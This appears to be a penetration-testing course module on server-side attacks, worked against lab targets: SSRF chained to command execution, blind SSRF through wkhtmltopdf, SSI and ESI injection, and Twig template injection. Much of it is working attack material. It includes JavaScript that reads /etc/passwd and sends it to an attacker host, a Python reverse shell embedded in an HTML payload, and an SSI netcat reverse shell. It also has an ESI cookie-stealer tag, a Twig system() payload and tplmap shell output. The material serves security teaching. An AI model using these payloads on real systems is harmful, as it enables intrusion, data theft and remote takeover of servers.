<html><body><h1>Resource: file:///app/internal_local.py</h1><a>import os
from flask import *
import urllib
import subprocess
basedir = os.path.abspath(os.path.dirname(__file__))
app = Flask(__name__)
def run_command(command):
p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = p.stdout.read()
stderr = p.stderr.read()
result = stdout.decode() + " " + stderr.decode()
return result
@app.route("/")
def index():
return run_command("ls -lha")
@app.route("/runme")
def runmewithargs():
command = request.args.get("x")
if command == "":
return "Use /runme?x=<CMD>"
return run_command(command)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
</a></body></html>
By studying the source code above, we notice a functionality that allows us to execute commands on the remote host sending a GET request to/runme?x=<CMD>. Let us confirm remote code execution by sending whoami as a command.
cURL - Interacting with the Target
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 93
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:48:32 GMT
<html><body><h1>Resource: http://127.0.0.1:5000/runme?x=whoami</h1><a>root
</a></body></html>
We can execute commands under the superuser context on the target application. But what happens if we try to submit a command with arguments, such as the below?
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a"
HTTP/1.0 400 Bad request syntax ('GET /load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a HTTP/1.1')
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 586
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: Bad request syntax ('GET /load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a HTTP/1.1').</p>
<p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
</body>
</html>
To execute commands with arguments or special characters, we need to encode them three times as we pass them through three different web applications.
For doing so, you can use any online URL-encoding service such as urlencoder.org. A quick way to achieve this from the terminal also exists. This is to use jq, which supports encoding as follows:
root@htb[/htb]$ sudo apt-get install jq
root@htb[/htb]$ echo "encode me" | jq -sRr @uri
encode%20me%0A
We can now create a bash function to automate executing commands on the target application.
Automate executing commands
root@htb[/htb]$ function rce() {
function> while true; do
function while> echo -n "# "; read cmd
function while> ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
function while> curl -s -o - "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
function while> echo ""
function while> done
function> }
Now we need to call the function and execute commands via:
root@htb[/htb]$ rce
# uname -a; hostname; whoami
<html><body><h1>Resource: http://127.0.0.1:5000/runme?x=uname%20-a%3B%20hostname%3B%20whoami
</h1><a>Linux a054d48cc0a4 5.8.0-63-generic #71-Ubuntu SMP Tue Jul 13 15:59:12 UTC 2021 x86_64 GNU/Linux
a054d48cc0a4
root
</a></body></html>
Server-Side Request Forgery vulnerabilities can be "blind." In these cases, even though the request is processed, we can't see the backend server's response. For this reason, blind SSRF vulnerabilities are more difficult to detect and exploit.
We can detect blind SSRF vulnerabilities via out-of-band techniques, making the server issue a request to an external service under our control. To detect if a backend service is processing our requests, we can either use a server with a public IP address that we own or services such as:
Blind SSRF vulnerabilities could exist in PDF Document generators and HTTP Headers, among other locations.
Now, let us exploit a blind SSRF vulnerability in a web application that receives an HTML file and returns a PDF document. This web application is the target we can spawn on the exercise at the end of this section.
Navigate to the end of this section and click on Click here to spawn the target system!, then use the provided Pwnbox or a local VM with the supplied VPN key to browse the target application and follow along. The application is listening on port 8080.

If we upload various HTML files and inspect the responses, we will notice that the application returns the same response regardless of the structure and content of the submitted files. In addition, we cannot observe any response related to the processing of the submitted HTML file on the front end. Should we conclude that the application is not vulnerable to SSRF? Of course not! We should be thorough during penetration tests and look for the blind counterparts of different vulnerability classes.

Let us create an HTML file containing a link to a service under our control to test if the application is vulnerable to a blind SSRF vulnerability. This service can be a web server hosted in a machine we own, Burp Collaborator, a Pingb.in URL etc. Please note that the protocols we can use when utilizing out-of-band techniques include HTTP, DNS, FTP, etc.
<!DOCTYPE html>
<html>
<body>
<a>Hello World!</a>
<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>
For the sake of simplicity, the service we will use to test for a blind SSRF vulnerability will be a simple Netcat listener running in Pwnbox or a local VM and listening on port 9090. If you are using a local VM, remember to use the supplied VPN key. So, on the above HTML file, SERVICE IP should be the VPN/TUN IP of Pwnbox or your local VM, and PORT should be 9090.
Netcat Listener
root@htb[/htb]$ sudo nc -nlvp 9090
Listening on 0.0.0.0 9090

After submitting the file, we will receive a message from the web application in the browser and a request to our server revealing the application used to convert the HTML document to PDF.


By inspecting the request, we notice wkhtmltopdf in the User-Agent. If we browse wkhtmltopdf's downloads webpage, the below statement catches our attention:
Do not use wkhtmltopdf with any untrusted HTML – be sure to sanitize any user-supplied HTML/JS; otherwise, it can lead to the complete takeover of the server it is running on! Please read the project status for the gory details.
Great, we can execute JavaScript in wkhtmltopdf! Let us leverage this functionality to read a local file by creating the following HTML document.
<html>
<body>
<b>Exfiltration via Blind SSRF</b>
<script>
var readfile = new XMLHttpRequest(); // Read the local file
var exfil = new XMLHttpRequest(); // Send the file to our server
readfile.open("GET","file:///etc/passwd", true);
readfile.send();
readfile.onload = function() {
if (readfile.readyState === 4) {
var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
exfil.open("GET", url, true);
exfil.send();
}
}
readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
In this case, we are using two XMLHttpRequest objects, one for reading the local file and another one to send it to our server. Also, we are using the btoa function to send the data encoded in Base64.

Let us start an HTTP Server, submit the new HTML file, wait for the response, and decode its contents once the HTML file is processed, as follows.
Netcat Listener
root@htb[/htb]$ sudo nc -nlvp 9090
Listening on 0.0.0.0 9090
GET /?data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1
Origin: file://
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en,*
Host: 10.10.14.221:9090

Base64 Decoding
root@htb[/htb]$ echo """cm9vdDp4OjA6MDpyb290Oi9yb<SNIP>""" | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
In the previous section, we exploited an internal application through SSRF and executed remote commands on the target server. The same internal application (internal.app.local) exists in the current scenario. Let us compromise the underlying server, but this time by creating an HTML document with a valid payload for exploiting the local application listening on internal.app.local.
We will use the following reverse shell payload (it is pretty easy to identify that Python is installed once you achieve remote code execution).
Bash Reverse Shell
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
Remember, we need to URL encode our payload. In this case, we need to encode it twice. The end result will be similar to the below.
URL Encoded Payload
export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527
Now, let us create an HTML file that performs a GET request to internal.app.local, reaches the local application vulnerable to remote code execution via SSRF, and executes our reverse shell.
HTML Payload
<html>
<body>
<b>Reverse Shell via Blind SSRF</b>
<script>
var http = new XMLHttpRequest();
http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true);
http.send();
http.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
Once we start a Netcat listener on our machine and submit the HTML file above, we receive a reverse shell coming from internal.app.local.
root@htb[/htb]$ nc -nvlp 9090
listening on [any] 9090 ...
Connection received on 10.129.201.238 33100
# whoami
whoami
root
We can also determine the existence of an SSRF vulnerability by observing time differences in responses. This method is also helpful for discovering internal services.
Let us submit the following document to the PDF application of the previous section and observe the response time.
Code: html
<html>
<body>
<b>Time-Based Blind SSRF</b>
<img src="http://blah.nonexistent.com">
</body>
</html>

We can see the service took 10 seconds to respond to the request. If we submit a valid URL inside the HTML document, it will take less time to respond. Remember that internal.app.local was a valid internal application (that we could access through SSRF in the previous section).

In some situations, the application may fail immediately instead of taking more time to respond. For this reason, we need to observe the time differences between requests carefully.
Server-side includes (SSI) is a technology used by web applications to create dynamic content on HTML pages before loading or during the rendering process by evaluating SSI directives. Some SSI directives are:
// Date
<!--#echo var="DATE_LOCAL" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including a footer
<!--#include virtual="/footer.html" -->
// Executing commands
<!--#exec cmd="ls" -->
// Setting variables
<!--#set var="name" value="Rich" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// Print all variables
<!--#printenv -->
The use of SSI on a web application can be identified by checking for extensions such as .shtml, .shtm, or .stm. That said, non-default server configurations exist that could allow other extensions (such as .html) to process SSI directives.
We need to submit payloads to the target application, such as the ones mentioned above, through input fields to test for SSI injection. The web server will parse and execute the directives before rendering the page if a vulnerability is present, but be aware that those vulnerabilities can exist in blind format too. Successful SSI injection can lead to extracting sensitive information from local files or even executing commands on the target web server.
Let us practice SSI Injection against an internet-facing web application (the target can be spawned at the end of this section). Navigate to the end of this section and click on Click here to spawn the target system, then use the provided Pwnbox or a local VM to follow along. By browsing to the spawned target, we come across the below.

Let us focus on identifying an SSI Injection vulnerability by submitting some of the SSI directives mentioned in the previous section.
1. <!--#echo var="DATE_LOCAL" -->
2. <!--#printenv -->
Date


All Variables


As we can see, the application is indeed vulnerable to SSI Injection! Now, proceed to the exercise at the end of this section and leverage any SSI directives listed in the previous section that can result in command execution against the underlying system to complete it.
Note: As we saw, running OS commands via SSI on the target application is possible, but who doesn't love shells? Have in mind the following reverse shell payload that will work even against OpenBSD-netcat that doesn't include the execute functionality by default. Also note that you won't be able to obtain a reverse shell in this section's exercise, due to network restrictions!
Reverse Shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
mkfifo /tmp/foo: Create a FIFO special file in /tmp/foonc <IP> <PORT> 0</tmp/foo: Connect to the pentester machine and redirect the standard input descriptor| bin/bash 1>/tmp/foo: Execute /bin/bash redirecting the standard output descriptor to /tmp/foorm /tmp/foo: Cleanup the FIFO fileEdge Side Includes (ESI) is an XML-based markup language used to tackle performance issues by enabling heavy caching of Web content, which would be otherwise unstorable through traditional caching protocols. Edge Side Includes (ESI) allow for dynamic web content assembly at the edge of the network (Content Delivery Network, User's Browser, or Reverse Proxy) by instructing the page processor what needs to be done to complete page assembly through ESI element tags (XML tags).
ESI tags are used to instruct an HTTP surrogate (reverse-proxy, caching server, etc.) to fetch additional information regarding a web page with an already cached template. This information may come from another server before rendering the web page to the end-user. ESI enable fully cached web pages to include dynamic content.
Edge-Side Include Injection occurs when an attacker manages to reflect malicious ESI tags in the HTTP Response. The root cause of this vulnerability is that HTTP surrogates cannot validate the ESI tag origin. They will gladly parse and evaluate legitimate ESI tags by the upstream server and malicious ESI tags by an attacker.
Although we can identify the use of ESI by inspecting response headers in search for Surrogate-Control: content="ESI/1.0", we usually need to use a blind attack approach to detect if ESI is in use or not. Specifically, we can introduce ESI tags to HTTP requests to see if any intermediary proxy is parsing the request and if ESI Injection is possible. Some useful ESI tags are:
ESI Tags
Code: html
// Basic detection
<esi: include src=http://<PENTESTER IP>>
// XSS Exploitation Example
<esi: include src=http://<PENTESTER IP>/<XSSPAYLOAD.html>>
// Cookie Stealer (bypass httpOnly flag)
<esi: include src=http://<PENTESTER IP>/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
In some cases, we can achieve remote code execution when the application processing ESI directives supports XSLT, a dynamic language used to transform XML files. In that case, we can pass dca=xslt to the payload. The XML file selected will be processed with the possibility of performing XML External Entity Injection Attacks (XXE) with some limitations.
GoSecure has created a table to help us understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported. Let us provide some explanations regarding the column names of the below table first:
<esi:includes> directive<esi:vars> directive. Useful for bypassing XSS Filters| Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
|---|---|---|---|---|---|
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
Template engines read tokenized strings from template documents and produce rendered strings with actual values in the output document. Templates are commonly used as an intermediary format by web developers to create dynamic website content. Server-Side Template Injection (SSTI) is essentially injecting malicious template directives inside a template, leveraging Template Engines that insecurely mix user input with a given template.
Below you will find some applications that you can run locally to better understand templates. If you are unable to do so, do not worry. The following sections feature exercises with various applications utilizing templates.
Let us now consider the following documents:
app.py
#/usr/bin/python3
from flask import *
app = Flask(__name__, template_folder="./")
@app.route("/")
def index():
title = "Index Page"
content = "Some content"
return render_template("index.html", title=title, content=content)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>{{title}}</h1>
<p>{{content}}</p>
</body>
</html>
When we visit the website, we will receive an HTML page containing the values of the title and content variables evaluated inside the double brackets on the template page. Pretty straightforward, and as we can see, the user does not have any control over the variables. What happens when user input enters a template without any validation, though?
app.py
#/usr/bin/python3
from flask import *
app = Flask(__name__, template_folder="./")
@app.route("/")
def index():
title = "Index Page"
content = "Some content"
return render_template("index.html", title=title, content=content)
@app.route("/hello", methods=['GET'])
def hello():
name = request.args.get("name")
if name == None:
return redirect(f'{url_for("hello")}?name=guest')
htmldoc = f"""
<html>
<body>
<h1>Hello</h1>
<a>Nice to see you {name}</a>
</body>
</html>
"""
return render_template_string(htmldoc)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
In this case, we can inject a template expression directly, and the server will evaluate it. This is a security issue that could lead to remote code execution on the target application, as we will see in the following sections.
cURL - Interacting with the Target
root@htb[/htb]$ curl -gis 'http://127.0.0.1:5000/hello?name={{7*7}}'
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 79
Server: Werkzeug/2.0.2 Python/3.9.7
Date: Mon, 25 Oct 2021 00:12:40 GMT
<html>
<body>
<h1>Hello</h1>
<a>Nice to see you 49</a> # <-- Expresion evaluated
</body>
</html>
We can detect SSTI vulnerabilities by injecting different tags in the inputs we control to see if they are evaluated in the response. We don't necessarily need to see the injected data reflected in the response we receive. Sometimes it is just evaluated on different pages (blind).
The easiest way to detect injections is to supply mathematical expressions in curly brackets, for example:
Code: html
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
...
We will look for "49" in the response when injecting these payloads to identify that server-side evaluation occurred.
The most difficult way to identify SSTI is to fuzz the template by injecting combinations of special characters used in template expressions. These characters include ${{<%[%'"}}%\. If an exception is caused, this means that we have some control over what the server interprets in terms of template expressions.
We can use tools such as Tplmap or J2EE Scan (Burp Pro) to automatically test for SSTI vulnerabilities or create a payload list to use with Burp Intruder or ZAP.
The diagram below from PortsSwigger can help us identify if we are dealing with an SSTI vulnerability and also identify the underlying template engine.

In addition to the above diagram, we can try the following approaches to recognize the technology we are dealing with:
Suppose that we are pentesting an internet-facing application (the target can be spawned at the end of this section). Our focus will be on identifying if the application is vulnerable to Server-Side Template Injection.
Navigate to the end of this section and click on Click here to spawn the target system!, then use the provided Pwnbox or a local VM to follow along. If you browse the target, you will come across the application below.

Let us submit on the input field mathematical expressions in curly brackets, such as the ones mentioned on the SSTI Identification section, starting with {7*7}.

It doesn't look like the application evaluated the submitted expression. Let us continue with another expression, ${7*7} this time.

It doesn't look like the application evaluated this expression either. What about {{7*7}}?

Luckily this time, the application evaluated the latest mathematical expression we submitted and returned the result, 49. It looks like we may be dealing with an SSTI vulnerability!
As already mentioned, the first thing we need to do when dealing with SSTI vulnerabilities is to identify the template engine the application is utilizing. Let's use PortSwigger's diagram to assist us (shown in the previous section). We already know that the {{7*7}} expression was evaluated successfully. The next expression the diagram suggests trying is {{7*'7'}}. Let us try it and see how the application responds.

The application successfully evaluated this expression as well. According to PortSwigger's diagram, we are dealing with either a Jinja2 or a Twig template engine.
There are template engine-specific payloads that we can use to determine which of the two is being utilized. Let us try with the below Twig-specific one:
{{_self.env.display("TEST")}}

The Twig-specific payload was evaluated successfully. A Twig template engine is being utilized on the backend. For an extensive list of template engine-specific payloads, please refer to the following resources:
We could have automated the template engine identification process we just executed through tplmap, as follows. If you didn't notice, the user's input is submitted via the name parameter and through a POST request (hence the -d parameter in tplmap).
tplmap.py
root@htb[/htb]$ git clone https://github.com/epinna/tplmap.git
root@htb[/htb]$ cd tplmap
root@htb[/htb]$ pip install virtualenv
root@htb[/htb]$ virtualenv -p python2 venv
root@htb[/htb]$ source venv/bin/activate
root@htb[/htb]$ pip install -r requirements.txt
root@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if POST parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
POST parameter: name
Engine: Twig
Injection: {{*}}
Context: text
OS: Linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
The next step is to gain remote code execution on the target server. Before moving the payload part, it should be mentioned that Twig has a variable _self, which, in simple terms, makes a few of the internal APIs public. This _self object has been documented, so we don't need to brute force any variable names (more on that in the next SSTI exploitation examples). Back to the remote code execution part, we can use the getFilter function as it allows execution of a user-defined function via the following process:
registerUndefinedFilterCallback_self.env.getFilter() to execute the function we have just registeredPayload
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
Let's submit the payload using cURL this time.
cURL - Interacting with the Target
root@htb[/htb]$ curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/default.css" media="screen"/>
<title>SSTI</title>
</head>
<body>
<div class="container">
<div class="main">
<div class="header">
<div class="title">
<h1>I'm here to say hello</h1>
</div>
</div>
<div class="content">
<a>
Who are you?
<form method='post' action=''>
<div class="form-group">
<input placeholder="Name" name="name" size=70></input> <button class="btn btn-default" type="submit" name='submit'>Send</button>
</div>
</form>
Hello uid=0(root) gid=0(root) groups=0(root)
Linux serversideattackssstitwig-60784-78bd58b5b-pmvvv 4.19.0-17-cloud-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
serversideattackssstitwig-60784-78bd58b5b-pmvvv
serversideattackssstitwig-60784-78bd58b5b-pmvvv!</a>
</div>
<div class="clearer"><span></span></div>
</div>
<div class="footer">Break me!</div>
</div>
</body>
As we can see in the output/response above, the submitted payload was evaluated, and the specified commands (id, uname -a, and hostname) were executed successfully.
Again, we could have automated the template engine exploitation process we just executed through tplmap, as follows.
tplmap.py - OS Shell
root@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if POST parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
POST parameter: name
Engine: Twig
Injection: {{*}}
Context: text
OS: Linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code
[+] Run commands on the operating system.
Linux $
We can now execute any command of our choosing through the shell tplmap established for us!
Now, proceed to this section's exercise and complete the objective either by crafting the payload yourself or through a shell obtained with the help of tplmap.
Note: When we notice that the mathematical expressions we submit are evaluated, the application may be vulnerable to XSS as well.
Let us test the above statement by submitting an XSS payload inside curly brackets to this section's exercise target. The result of doing so can be seen in the image below.

Suppose we are tasked with pentesting yet another internet-facing application. Our focus will be on identifying if the application is vulnerable to Server-Side Template Injection.
Navigate to the end of this section and click on Click here to spawn the target system!, then use the provided Pwnbox or a local VM to follow along. If you browse the target, you should come across the application below.

If you inspect the application's traffic using Firefox's Web Developer Tools ([Ctrl]+[Shift]+[I]), you will notice that user input is submitted inside a parameter called email and through a POST request to http://<TARGET IP>:<PORT>/jointheteam
Let's submit mathematical expressions in curly brackets to the input field, such as the ones mentioned in the SSTI Identification section, starting with ${7*7}, as PortSwigger's diagram suggests.
cURL - Interacting with the Target
root@htb[/htb]$ curl -X POST -d 'email=${7*7}' http://<TARGET IP>:<PORT>/jointheteam
<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email ${7*7} has been subscribed. You'll hear from us soon!</em></h3>
</body>
It doesn't look like the application evaluated the submitted expression. Let's try {{7*7}}
cURL - Interacting with the Target
root@htb[/htb]$ curl -X POST -d 'email={{7*7}}' http://<TARGET IP>:<PORT>/jointheteam
<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 49 has been subscribed. You'll hear from us soon!</em></h3>
</body>
The application evaluated the submitted expression this time. Let's continue, as PortSwigger's diagram suggests, to identify the underlying template engine.
cURL - Interacting with the Target
root@htb[/htb]$ curl -X POST -d 'email={{7*'7'}}' http://<TARGET IP>:<PORT>/jointheteam
<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 49 has been subscribed. You'll hear from us soon!</em></h3>
</body>
The application evaluated the latest expression we submitted. So, according to the diagram, we should be dealing with a Twig or Jinja2 template engine, right?
Unfortunately, this is not the case! If we submit any Twig or Jinja2-specific payload, the application returns 500: Internal Server Error. Find some examples of this behavior below.
root@htb[/htb]$ curl -X POST -d 'email={{_self.env.display("TEST")}}' http://<TARGET IP>:<PORT>/jointheteam
<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>
root@htb[/htb]$ curl -X POST -d 'email={{config.items()}}' http://<TARGET IP>:<PORT>/jointheteam
<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>
